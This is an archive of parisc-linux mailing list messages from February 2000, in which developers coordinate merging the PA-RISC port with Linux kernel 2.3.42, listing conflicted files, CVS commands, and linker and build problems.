Xref: news.gmane.org gmane.linux.ports.parisc:6785

I put some scripts in place (thanks OpenBSD!) that nicely coalesce cvs
commit messages into one message (instead of a commit message for
every directory that had a changed file).

Since this obsoletes the parisc-linux-cvs-digest value of 10 minutes
(which was put in place to do the same thing), I've increased the
parisc-linux-cvs-digest maximum time to one day; people who want the
old behaviour should switch to parisc-linux-cvs, and people who would
rather have one message per day should stay on -digest.

-Phil

-- 
Phil Schwan, Senior Linux Consultant, Linuxcare, Inc.
415.354.4878 x271 tel, 415.701.7457 fax
pschwan@linuxcare.com http://www.linuxcare.com/
Linuxcare.  Support for the revolution.


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merging with 2.3.42 today
Date: Tue, 08 Feb 2000 04:32:16 -0500
Organization: MCP
Lines: 56
Approved: news@gmane.org
Message-ID: <389FE2A0.29B67888@subcarrier.org>
References: <20000206143806.A871@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618757 29992 80.91.229.3 (22 Nov 2014 01:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: mang@subcarrier.org  Tue Feb  8 03:41:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA20269
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 03:41:54 -0700
Original-Received: (qmail 4247 invoked by uid 15267); 8 Feb 2000 09:38:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31624 invoked from network); 8 Feb 2000 09:32:43 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 8 Feb 2000 09:32:43 -0000
Original-Received: (qmail 2085 invoked from network); 8 Feb 2000 09:31:21 -0000
Original-Received: from unknown (HELO subcarrier.org) (216.208.98.2)
  by relay1.pair.com with SMTP; 8 Feb 2000 09:31:21 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6786

Picking up NFS support seems like a good reason to merge very soon.  The
diff between our current tree (based on 2.3.29) and the latest kernel
version 2.3.42 is large (~350k lines!)

The merge will have conflicts with the following files:
./drivers/block/rd.c:<<<<<<< rd.c
./drivers/char/serial.c:<<<<<<< serial.c
./drivers/net/tulip.c:<<<<<<< tulip.c
./fs/Makefile:<<<<<<< Makefile
./fs/buffer.c:<<<<<<< buffer.c
./include/linux/init.h:<<<<<<< init.h
./include/linux/mm.h:<<<<<<< mm.h
./include/linux/ncp_fs.h:<<<<<<< ncp_fs.h
./init/main.c:<<<<<<< main.c
./kernel/resource.c:<<<<<<< resource.c
./mm/Makefile:<<<<<<< Makefile
./mm/bootmem.c:<<<<<<< bootmem.c
./mm/filemap.c:<<<<<<< filemap.c 
(plus some other spurious conflicts)        

Here's my plan:
- lay down a LINUS_2342_PREMERGE static tag this afternoon (~2pm EST)
- the tree is closed -> no one checks in
- check in the 2.3.42 code
- everyone works on fixing merge problems/regressions only
  - get back to a shell prompt/ping response
- lay down LINUS_2342_DEVEL_BASE
- tree open for new features

Merging will generate large diffs, and most will be unrelated to
PA-RISC.  This is why I ask that no new features be checked in between
the PREMERGE and DEVEL_BASE tags.  Those two tags will isolate the big
changes so that new PA-RISC features are not lost in the
noise.  The whole process should only take an hour if the people who
"own" the files with conflicts are available.

If you want to get a head start, do a "cvs up -j linus2329 -j linus2342
somefile_or_somedir" to merge in Linus' changes between 2.3.29 and
2.3.42 into your working directory.  But please don't check in any fixes
until after Linus' code is merged into the tip.  Thanks for your
cooperation/patience.

I would have done this now, but it would be bad form to leave the tree
broken and go home to sleep.  If someone else wants to start this
earlier in the day, feel free. :)

	- Mike.

Thomas Bogendoerfer wrote:
> 
> in our IRC meeting on friday we had a little discussion whether to merge
> with a more recent 2.3 kernel version or not. I now have a reason why we
> need to update ASAP to a newer kernel. NFS is broken in 2.3.29 :-(
> I'm going to update my local tree to see whether we need to do more work
> for nfs.


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC User Land
Date: Tue, 8 Feb 2000 12:18:11 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10002081211530.11042-100000@boilermaker.thepuffingroup.com>
References: <20000206131907.B22105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618757 29993 80.91.229.3 (22 Nov 2014 01:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:37 +0000 (UTC)
Cc: "T. Martin" <catfish@alltel.net>, parisc-linux@thepuffingroup.com
To: Phil Schwan <phil@linuxcare.com>
Original-X-From: doneill@linuxcare.com  Tue Feb  8 11:15:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA23074
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 11:15:22 -0700
Original-Received: (qmail 32237 invoked by uid 15267); 8 Feb 2000 17:13:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29931 invoked from network); 8 Feb 2000 17:11:03 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 8 Feb 2000 17:11:03 -0000
Original-Received: (qmail 23376 invoked from network); 8 Feb 2000 17:16:28 -0000
Original-Received: from unknown (HELO boilermaker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 8 Feb 2000 17:16:28 -0000
X-Sender: dmo@boilermaker.thepuffingroup.com
In-Reply-To: <20000206131907.B22105@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6787

On Sun, 6 Feb 2000, Phil Schwan wrote:

> Not just yet; Dave O'Neill is working on making the SOM linker
> cross-platform friendly (I believe he has it working on HPUX, and now 
> needs to squash endian-related bugs).  I'm sure he'd love a helping
> hand...

Sure, if you're interested in taking a look, I'd love it.  The linker is
in CVS (under linker/).  

A little status update:  Right now, it manages to parse and load (possibly
even correctly) the object files, but it still chokes on libraries, and
doesn't yet output anything.

Dave
-- 
Dave O'Neill, Linux Consultant, Linuxcare, Inc.
doneill@linuxcare.com, http://www.linuxcare.com/ 
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@sammy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELFness and 64bit
Date: Tue, 8 Feb 2000 15:15:26 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0002081511370.28088-100000@sammyville.sammy.net>
References: <20000205132613.A30976@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618757 29996 80.91.229.3 (22 Nov 2014 01:12:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:37 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        Michael Ang <mang@subcarrier.org>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: sammy@sammy.net  Tue Feb  8 14:20:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA30616
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 14:20:16 -0700
Original-Received: (qmail 12136 invoked by uid 15267); 8 Feb 2000 20:17:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7738 invoked from network); 8 Feb 2000 20:12:52 -0000
Original-Received: from cvl232047.columbus.rr.com (HELO sammyville.sammy.net) (204.210.232.47)
  by mailserv2.iuinc.com with SMTP; 8 Feb 2000 20:12:52 -0000
Original-Received: from localhost (sammy@localhost)
	by sammyville.sammy.net (8.8.7/8.8.7) with ESMTP id PAA28092;
	Tue, 8 Feb 2000 15:15:26 -0500
In-Reply-To: <20000205132613.A30976@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6788



On Sat, 5 Feb 2000 willy@thepuffingroup.com wrote:

> On Sat, Feb 05, 2000 at 03:37:59PM +0100, Thomas Bogendoerfer wrote:
> > > Willy mentioned that we will have to think about running on 64bit at some
> > > point.
> > 
> > IMHO, it's way too early to even think about it. Of course 64bit is sexy,
> > but without a working 32bit userland it's a too big can of worms to open
> > right now. Linux/MIPS64 hasn't started before a reasonable distribution
> > existed, and I'm sure this wasn't a bad descision then.
> 
> We want to get people working on userland as soon as possible since this
> parallelises well with other people hacking on the kernel.  However, we
> need to go 64-bit inorder to support the L-class and similar machines.
> I also mentioned that we need ELF support RSN as it is hurting us quite
> badly.  I know Sammy has been working on getting 32-bit ELF going on
> his 712 for the kernel.  Sammy, how's that going?

heh...  welll....   I'm getting a better understanding of parts of the
problem, if that makes anyone feel better. :)

I've actually got a kernel together than compiles and links in a fairly
sane manner...  except for the .data segment, which will, eventually, get
badly munged..  It's looking like a linker error revolving around certain
types of relocations that don't quite work right.  further investigation
is still needed, but I've not had time for the last week or so.



From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.3.42 merge - affected files
Date: Tue, 8 Feb 2000 16:04:51 -0500 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10002081559510.9328-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618758 29999 80.91.229.3 (22 Nov 2014 01:12:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Tue Feb  8 15:12:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31508
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 15:12:11 -0700
Original-Received: (qmail 32285 invoked by uid 15267); 8 Feb 2000 21:09:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27894 invoked from network); 8 Feb 2000 21:04:59 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 8 Feb 2000 21:04:59 -0000
Original-Received: from localhost (mang@localhost) by cuzea.pair.com (8.9.1/8.6.12) with ESMTP id QAA09763 for <parisc-linux@thepuffingroup.com>; Tue, 8 Feb 2000 16:04:51 -0500 (EST)
X-Envelope-To: <parisc-linux@thepuffingroup.com>
X-Sender: mang@cuzea.pair.com
Xref: news.gmane.org gmane.linux.ports.parisc:6789

Here is the list of files that have been changed both by Linus between
2.3.29 and 2.3.42 and in our local tree:

drivers/block/ll_rw_blk.c
drivers/block/rd.c
drivers/char/Config.in
drivers/char/console.c
drivers/char/Makefile
drivers/char/serial.c
drivers/char/tty_io.c
drivers/Makefile
drivers/net/pcnet32.c
drivers/net/tulip.c
drivers/pci/pci.c
drivers/sound/Config.in
drivers/sound/Makefile
drivers/video/Makefile
fs/buffer.c
fs/exec.c
fs/Makefile
include/linux/init.h
include/linux/mm.h
include/linux/pagemap.h
include/linux/proc_fs.h
include/linux/tty.h
include/linux/udf_fs_sb.h
init/main.c
kernel/acct.c
kernel/exit.c
kernel/resource.c
kernel/sched.c
lib/string.c
Makefile
mm/bootmem.c
mm/filemap.c
mm/Makefile
mm/memory.c
mm/mmap.c
mm/slab.c

All of these files should be checked visually to make sure that the merge
was done properly.  I'll send another mail with some examples of how to
compare different file revisions.

	- Mike.


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] files still needing manual merging
Date: Tue, 8 Feb 2000 16:33:06 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10002081631440.11091-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618758 30002 80.91.229.3 (22 Nov 2014 01:12:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Tue Feb  8 15:37:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32200
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 15:37:13 -0700
Original-Received: (qmail 24684 invoked by uid 15267); 8 Feb 2000 21:35:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22265 invoked from network); 8 Feb 2000 21:33:07 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 8 Feb 2000 21:33:07 -0000
Original-Received: from localhost (mang@localhost) by cuzea.pair.com (8.9.1/8.6.12) with ESMTP id QAA11172 for <parisc-linux@thepuffingroup.com>; Tue, 8 Feb 2000 16:33:06 -0500 (EST)
X-Envelope-To: <parisc-linux@thepuffingroup.com>
X-Sender: mang@cuzea.pair.com
Xref: news.gmane.org gmane.linux.ports.parisc:6790

Conflicted files which still need to be manually merged using 'cvs up
-jlinus2329 -jlinus2342'

`Makefile'
`drivers/block/rd.c'
`drivers/char/Makefile'
`drivers/char/serial.c'
`drivers/net/tulip.c'
`include/asm-arm/arch-ebsa285/hardware.h'
`include/linux/init.h'`include/linux/mm.h'
`init/main.c'
`kernel/resource.c'
`mm/Makefile'
`mm/bootmem.c'

Files which had conflicts and currently have fixes checked in
drivers/block/ide-dma.c
drivers/video/fm2fb.c
fs/Makefile
fs/buffer.c
include/linux/init.h
include/linux/mm.h
include/linux/ncp_fs.h
mm/filemap.c


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ullas Ponnadi <uponnadi@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Timer Interrupt and Scheduler
Date: Tue, 08 Feb 2000 16:33:15 -0800
Organization: Hewlett Packard
Lines: 11
Approved: news@gmane.org
Message-ID: <38A0B5CB.DCF1C486@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618758 30004 80.91.229.3 (22 Nov 2014 01:12:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: uponnadi@cup.hp.com  Tue Feb  8 18:37:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04258
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 18:37:02 -0700
Original-Received: (qmail 25868 invoked by uid 15267); 9 Feb 2000 00:35:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23577 invoked from network); 9 Feb 2000 00:32:22 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 00:32:22 -0000
Original-Received: from hpdst41.cup.hp.com (hpdst41.cup.hp.com [15.16.128.62])
	by atlrel1.hp.com (Postfix) with ESMTP id 29A4A8221
	for <parisc-linux@thepuffingroup.com>; Tue,  8 Feb 2000 19:32:21 -0500 (EST)
Original-Received: from cup.hp.com (hpdst231.cup.hp.com [15.16.129.192]) by hpdst41.cup.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id QAA28782 for <parisc-linux@thepuffingroup.com>; Tue, 8 Feb 2000 16:32:20 -0800 (PST)
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6791

Could someone give me more insight into how the scheduler would get
called
when a timer interrupt happens? I tried tracing through the code
handling the
external interrupt and am at a loss trying to figure out this part.

Thanks,

Ullas Ponnadi



From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] files still needing manual merging
Date: Tue, 08 Feb 2000 16:39:31 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <200002090039.QAA12126@milano.cup.hp.com>
References: <Pine.BSF.4.10.10002081631440.11091-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618759 30007 80.91.229.3 (22 Nov 2014 01:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: grundler@cup.hp.com  Tue Feb  8 18:44:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04525
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 18:44:26 -0700
Original-Received: (qmail 31381 invoked by uid 15267); 9 Feb 2000 00:42:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28537 invoked from network); 9 Feb 2000 00:38:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 00:38:41 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 26CDF681; Tue,  8 Feb 2000 19:38:37 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id QAA12126; Tue, 8 Feb 2000 16:39:32 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 08 Feb 2000 16:33:06 PST."
             <Pine.BSF.4.10.10002081631440.11091-100000@cuzea.pair.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6792

Michael Ang wrote:
> Conflicted files which still need to be manually merged using 'cvs up
> -jlinus2329 -jlinus2342'

> `drivers/char/serial.c'

Done. It should be ok now.

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] files still needing manual merging
Date: Wed, 9 Feb 2000 01:41:27 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20000209014127.C2377@alpha.franken.de>
References: <Pine.BSF.4.10.10002081631440.11091-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618759 30009 80.91.229.3 (22 Nov 2014 01:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Tue Feb  8 18:48:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04753
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 18:48:40 -0700
Original-Received: (qmail 2611 invoked by uid 15267); 9 Feb 2000 00:46:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 539 invoked from network); 9 Feb 2000 00:44:01 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 00:44:01 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12ILEb-0027mDC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Wed, 9 Feb 2000 01:43:57 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12ILEV-002OxiC; Wed, 9 Feb 100 01:43 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id BAA03464
	for mang@subcarrier.org; Wed, 9 Feb 2000 01:41:28 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSF.4.10.10002081631440.11091-100000@cuzea.pair.com>; from Michael Ang on Tue, Feb 08, 2000 at 04:33:06PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6793

On Tue, Feb 08, 2000 at 04:33:06PM -0500, Michael Ang wrote:
> `drivers/block/rd.c'

so far that's the only one in my tree, which is left. To get a kernel
compiled, I've just used the 2.3.42 version of that file (haven't commited
it yet). I can't say whether it works, because I'm now at the point, where 
I get unresolved symbols:

ld: Unsatisfied symbols:
   init_ext2_fs (code)
   up_read (code)
   uts_sem (data)
   get_task_struct (code)
   up_write (code)
   pcibios_enable_device (code)
   down_write (code)
   down_read (code)

I've commited all the stuff, I've fixed to get it compiled. I'm going
to look into the problems with the unresolved symbols tomorrow, if
the issues are still unsolved.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs tricks
Date: Tue, 8 Feb 2000 19:51:04 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10002081938400.11091-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618759 30012 80.91.229.3 (22 Nov 2014 01:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Tue Feb  8 18:56:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04941
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 18:56:16 -0700
Original-Received: (qmail 8704 invoked by uid 15267); 9 Feb 2000 00:54:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6228 invoked from network); 9 Feb 2000 00:51:04 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 00:51:04 -0000
Original-Received: from localhost (mang@localhost) by cuzea.pair.com (8.9.1/8.6.12) with ESMTP id TAA19988 for <parisc-linux@thepuffingroup.com>; Tue, 8 Feb 2000 19:51:04 -0500 (EST)
X-Envelope-To: <parisc-linux@thepuffingroup.com>
X-Sender: mang@cuzea.pair.com
Xref: news.gmane.org gmane.linux.ports.parisc:6794

Updating
update to latest working version, get newly add dirs
  cvs up -Ad
get linus' 2.3.42 version of a file
  cvs up -rlinus2342 somefile
  (need to do "cvs up -A" to get back to latest version)

Diffs
between current version and linus2342
  cvs di -rlinus2342
our changes
  cvs di -r1.1 -rLINUS_2342_PREMERGE
linus' changes from 2.3.29 to 2.3.42
  cvs di -rlinus2329 -rlinus2342
changes we've made since checking in 2.3.42 sources to tip
  cvs di -rLINUS_2342_FIXUP_START -rHEAD

Merging
merge in linus' changes
  cvs up -jrlinus2329 -jlinus2342


From - Thu Nov 08 21:11:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merge status
Date: Tue, 8 Feb 2000 19:59:52 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10002081956030.11091-100000@cuzea.pair.com>
References: <20000209014127.C2377@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618759 30013 80.91.229.3 (22 Nov 2014 01:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: mang@subcarrier.org  Tue Feb  8 19:04:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA05062
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Feb 2000 19:04:02 -0700
Original-Received: (qmail 15237 invoked by uid 15267); 9 Feb 2000 01:02:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13190 invoked from network); 9 Feb 2000 00:59:54 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 9 Feb 2000 00:59:54 -0000
Original-Received: from localhost (mang@localhost) by cuzea.pair.com (8.9.1/8.6.12) with ESMTP id TAA20308; Tue, 8 Feb 2000 19:59:52 -0500 (EST)
X-Envelope-To: parisc-linux@thepuffingroup.com
X-Sender: mang@cuzea.pair.com
In-Reply-To: <20000209014127.C2377@alpha.franken.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6795

Merging has been painful, as is often the case.  Thanks to everyone for
helping out and being patient.

We still need to manually merge drivers/block/rd.c and fix some problems
with unresolved symbols.  Hopefully we can finish up merging tommorrow.

	- Mike.

On Wed, 9 Feb 2000, Thomas Bogendoerfer wrote:
> > `drivers/block/rd.c'
> 
> so far that's the only one in my tree, which is left. To get a kernel
> compiled, I've just used the 2.3.42 version of that file (haven't commited
> it yet). I can't say whether it works, because I'm now at the point, where 
> I get unresolved symbols:
> 
> ld: Unsatisfied symbols:
>    init_ext2_fs (code)
>    up_read (code)
>    uts_sem (data)
>    get_task_struct (code)
>    up_write (code)
>    pcibios_enable_device (code)
>    down_write (code)
>    down_read (code)


From - Thu Nov 08 21:11:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] files still needing manual merging
Date: Tue, 08 Feb 2000 17:08:07 -0800
Lines: 29
Approved: news@gmane.org
